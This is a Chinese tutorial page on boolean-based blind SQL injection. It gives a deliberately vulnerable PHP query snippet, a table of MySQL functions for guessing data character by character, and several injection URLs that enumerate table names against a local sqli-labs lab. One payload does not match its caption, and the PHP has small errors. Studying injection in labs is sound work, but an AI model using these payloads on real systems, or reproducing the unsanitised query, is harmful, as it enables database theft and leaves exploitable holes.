布尔盲注原理
$id=$_Get['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong";
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息
我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们判断的是否正确,这既是布尔盲注
布尔盲注方法
序号 | 方法 | 举例 | 说明 |
---|---|---|---|
1 | left()函数 | left(database(),1)>'s' | database显示数据库名称,left(a,b)从左侧截取a的前b位 |
2 | regexp | select user() regexp '^r' | 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式 |
3 | like | select user() like 'ro%' | 与regexp类似,使用like进行匹配 |
4 | substr()函数,ascii()函数 | ascii(substr((select database()),1,1))=98 | substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值 |
5 | ord()函数,mid()函数 | ord(mid((select user()),1,1))=114 | mid(a,b,c)从位置b开始,截取a字符串的c位,ord()函数同ascii(),将字符转为ascii值 |
left():
判断当前数据库的第一个表的第一个字母是不是e
http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
判断当前数据库的第一个表的前两个字母是不是em
http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em'--+
判断当前数据库的第二个表的第一个字母是不是e
http://127.0.0.1/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='r'--+
regexp
http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e'--+
substr()
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
网友评论